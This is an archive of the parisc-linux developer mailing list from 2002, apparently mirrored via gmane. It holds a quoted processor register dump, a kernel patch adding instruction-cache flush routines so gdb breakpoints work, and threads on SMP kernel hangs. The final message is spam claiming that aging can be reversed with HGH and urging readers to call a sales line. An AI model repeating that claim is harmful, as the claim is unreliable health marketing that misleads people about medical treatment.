16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


<Press any key to continue (q to quit)> 

-----------------  Processor 1 HPMC Information ------------------

   No valid timestamp

HPMC Chassis Codes = No chassis codes logged

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
Check Type                   = 0x00000000
CPU State                    = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating-Point Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 

Check Summary                = 0x0000000000000000
Available Memory             = 0x0000000000000000
CPU Diagnose Register 2      = 0x0000000000000000
CPU Status Register 0        = 0x0000000000000000
CPU Status Register 1        = 0x0000000000000000
SADD LOG                     = 0x0000000000000000
Read Short LOG               = 0x0000000000000000
ERROR_STATUS                 = 0x0000000000000000
MEM_ADDR                     = 0x0000000000000000
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x0000000000000000
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x0000000000000000
RUN_DATA_LOW                 = 0x0000000000000000
RUN_CTRL                     = 0x0000000000000000
RUN_ADDR                     = 0x0000000000000000
System Responder Path        = 0x0000000000000000


HPMC PIM Analysis Information:

   No valid timestamp



Memory/IO Controller Error Analysis Information:


<Press any key to continue (q to quit)> 

-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


<Press any key to continue (q to quit)> 

Memory Error Log Information:

   No valid timestamp

   No memory errors logged


I/O Module Error Log Information:

   No valid timestamp

   No I/O module errors logged

Main Menu: Enter command > 
Main Menu: Enter command > 
> 
> > 
> > > 
> > > grant
> > > 
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > > 
> > 
> > 
> 
> 

-- 
I called my parents the other night, but I forgot about the time difference.
They're still living in the fifties.
		-- Strange de Jim




From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH: flush_icache_page() and flush_icache_range()
Date: Wed, 29 May 2002 00:40:24 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <20020528234023.GF3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621324 7637 80.91.229.3 (22 Nov 2014 01:55:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 18:03:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49F7E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 18:03:14 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 7221A9ECF7; Wed, 29 May 2002 00:40:24 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14870

Hi,
  gdb has a problem in that it often doesn't stop the target program
when you do a 'step' or 'next'.  This is because it plants breakpoints,
but those breakpoints sit in the data cache and don't get flushed
through to be visible as code in time.  We need a flush_icache_page()
implementation to fix this; the following adds that and
flush_icache_range() also.  It does fix gdb for me on my a500.

Posted here for comments, before commiting.  I modelled the new
flush_kernel_icache_page on flush_kernel_dcache_page, just changing the
stride and fdc to fic.

Richard


Index: include/asm-parisc/pgalloc.h
===================================================================
RCS file: /var/cvs/linux/include/asm-parisc/pgalloc.h,v
retrieving revision 1.34
diff -u -r1.34 pgalloc.h
--- include/asm-parisc/pgalloc.h	2001/09/30 06:06:47	1.34
+++ include/asm-parisc/pgalloc.h	2002/05/28 23:52:41
@@ -121,9 +121,9 @@
 	}
 }
 
-#define flush_icache_page(vma,page)
+#define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page)); flush_kernel_icache_page(page_address(page)); } while (0)
 
-#define flush_icache_range flush_kernel_icache_range_asm
+#define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e); flush_kernel_icache_range_asm(s,e); } while (0)
 
 /* TLB flushing routines.... */
 
Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/pacache.S,v
retrieving revision 1.10
diff -u -r1.10 pacache.S
--- arch/parisc/kernel/pacache.S	2001/09/06 09:44:07	1.10
+++ arch/parisc/kernel/pacache.S	2002/05/28 23:52:42
@@ -747,6 +747,50 @@
 
 	.procend
 
+	.export flush_kernel_icache_page
+
+flush_kernel_icache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%icache_stride,%r1
+	ldw     R%icache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	fic,m   %r23(%r26)
+	CMPB<<  %r26,%r25,1b
+	fic,m   %r23(%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
 	.export flush_kernel_icache_range_asm
 
 flush_kernel_icache_range_asm:




From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH: flush_icache_page() and flush_icache_range()
Date: Tue, 28 May 2002 20:48:30 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200205290048.g4T0mUrP026311@hiauly1.hia.nrc.ca>
References: <20020528234023.GF3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621325 7640 80.91.229.3 (22 Nov 2014 01:55:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com (Richard Hirst)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 18:48:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B4BE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 18:48:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4T0mVFN026312;
	Tue, 28 May 2002 20:48:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4T0mUrP026311;
	Tue, 28 May 2002 20:48:30 -0400 (EDT)
In-Reply-To: <20020528234023.GF3471@sleepie.demon.co.uk> from "Richard Hirst" at May 29, 2002 00:40:24 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14871

> Hi,
>   gdb has a problem in that it often doesn't stop the target program
> when you do a 'step' or 'next'.  This is because it plants breakpoints,
> but those breakpoints sit in the data cache and don't get flushed
> through to be visible as code in time.  We need a flush_icache_page()
> implementation to fix this; the following adds that and
> flush_icache_range() also.  It does fix gdb for me on my a500.

Good find! I'll give it a try.  Can you now print function results?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.18-pa29 problem
Date: Tue, 28 May 2002 18:32:36 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205281829180.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621325 7644 80.91.229.3 (22 Nov 2014 01:55:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 19:32:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44287482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 19:32:38 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 9387A7BC45
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 18:32:36 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14872

I don't know if this is related to my other problems or not, but when 
booting an SMP 2.4.18-pa29 kernel from CVS, the box stops after displaying 
"Freeing Unused Kernel Memory".  The box is still semi-responsive, in that 
stuff sent to the serial  console is echoed back, and the power button 
makes it say "shutting down" but nothing happens beyond that.

I'm going to try a UP version of this, to see if I get the same thing.

-- 
Let us endeavor so to live that when we come to die even the undertaker will be
sorry.
		-- Maek Twain, "Pudd'nhead Wilson's Calendar"




From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa29 problem
Date: Tue, 28 May 2002 18:57:05 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205281856090.11012-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0205281829180.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621325 7651 80.91.229.3 (22 Nov 2014 01:55:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 19:57:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A61D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 19:57:07 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id D6E227BC45
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 18:57:05 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0205281829180.11012-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14873

On Tue, 28 May 2002, Jeremy Drake wrote:

> I don't know if this is related to my other problems or not, but when 
> booting an SMP 2.4.18-pa29 kernel from CVS, the box stops after displaying 
> "Freeing Unused Kernel Memory".  The box is still semi-responsive, in that 
> stuff sent to the serial  console is echoed back, and the power button 
> makes it say "shutting down" but nothing happens beyond that.
> 
> I'm going to try a UP version of this, to see if I get the same thing.
The UP version is fine.  SMP just hates me, I guess :(
> 
> 

-- 
It were not best that we should all think alike; it is difference of opinion
that makes horse-races.
		-- Mark Twain, "Pudd'nhead Wilson's Calendar"




From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 22:39:16 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20020529043916.A15D3482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205281239110.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621326 7826 80.91.229.3 (22 Nov 2014 01:55:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 22:39:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A15D3482A; Tue, 28 May 2002 22:39:16 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Tue, 28 May 2002 12:45:18 PDT." <Pine.LNX.4.44.0205281239110.11012-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14874

Jeremy Drake wrote:
> OK, I was doing an apt-get update, and the damn thing died at Reading 
> Package Lists... 0%.  I'll see what's up with it when I can, do you want 
> ser pim, ser pim toc, or just wait for a new kernel?

If the box HPMC'd, I'd like the "ser pim".

> Some things that occured to me about the hardware that may be influencing 
> this.  The on-board USB on this box is broken (as in physically damaged).  

That's a good observation. Can you characterize how extensive is the
physical damage?

I don't recall anything on the previous console output that suggests
the USB interface driver isn't happy.

> I have a pci usb card in there for typing on the graphics console, and 
> when I installed it into the first slot recommended by the manual (2 I 
> think) the box did some HPMC stuff when it tried to do selftests.  I moved 
> it to slot 8 and everything seems happy with it.  Maybe something in the 
> smp code is aggrevating these problems...

Possible. Which manual are you referring to?
one that came with the USB card or some HP PARISC manual?

grant



From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 22:56:09 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020529045609.7573F482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205281436230.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621326 7917 80.91.229.3 (22 Nov 2014 01:55:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 22:56:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7573F482A; Tue, 28 May 2002 22:56:09 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Tue, 28 May 2002 14:56:03 PDT." <Pine.LNX.4.44.0205281436230.11012-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14875

Jeremy Drake wrote:
> The LCD has a network, the HDD and an unfilled heart on the screen -- not 
> changing.

Not an HPMC then.

> The console says apt-get (668): unaligned access to 0x403ce08c it 
> ip=0x4005e4f7

That's odd - i've never seen that from apt-get.

> The TOC button had no effect.  Here's a ser pim from after I pulled the 
> power and restarted it.  It doesn't look particularly helpful.

Again I didn't look up the arcane stuff.
GR02 and IAOQ were both pointing at cpu_idle()
CR23 was zero; no external interrupts pending

grant



From - Thu Nov 08 21:22:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: medbrkthrgh77361812@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Medical Breakthrough... aging can be reversed with HGH
Date: Sat, 25 May 2002 04:37:48 -0700
Lines: 202
Approved: news@gmane.org
Message-ID: <20020529062138.DE2E4482A@dsl2.external.hp.com>
Reply-To: medbrkthrgh77@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621326 7922 80.91.229.3 (22 Nov 2014 01:55:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:26 +0000 (UTC)
Cc: parenting_orders@timeinc.com, parfum@gate.net,
	parisc-linux-announce-request@lists.parisc-linux.org,
	parisc-linux-cvs-request@lists.parisc-linux.org,
	parisc-linux-request@lists.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: parent_predicament@mail.ivillage.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 29 00:21:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kygroup.co.kr (unknown [61.80.255.131])
	by dsl2.external.hp.com (Postfix) with SMTP id DE2E4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 May 2002 00:21:38 -0600 (MDT)
Original-Received: from test (66.140.155.129)
	by kygroup.co.kr (61.80.255.131) with [Nmail V3.0 20010809(S)]
	for <parisc-linux@lists.parisc-linux.org> from <medbrkthrgh77@yahoo.com>;
	Sat, 25 May 2002 20:40:39 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14876

There are three different types of HGH products.
The confusion is that all three are 
advertised as if they were the same.
  
        The three types are:
 
1) --- Homeopathic HGH
2) --- Pre-cursor HGH
3) --- Real or synthetic HGH (delivered by injection 
        or, by an oral spray method).
 
Do you know differences?
 
Call us and we'll explain them to you.
 
Our toll free number is 1-888-621-7300
An HGH staff member is avialable
9 to 5 Pacific Time.
If after hours, please leave you name
and day and evening phone numbers.
We will call you back in a no pressure,
educational manner.
If you are overseas call your long distance
operator and ask to be connected to our
phone number.  We will call you back so
we can pay for the long distance charges.
 
For more information on HGH read on............
 
HAVE YOU HEARD OF 
HUMAN GROWTH HORMONE (HGH)???
 
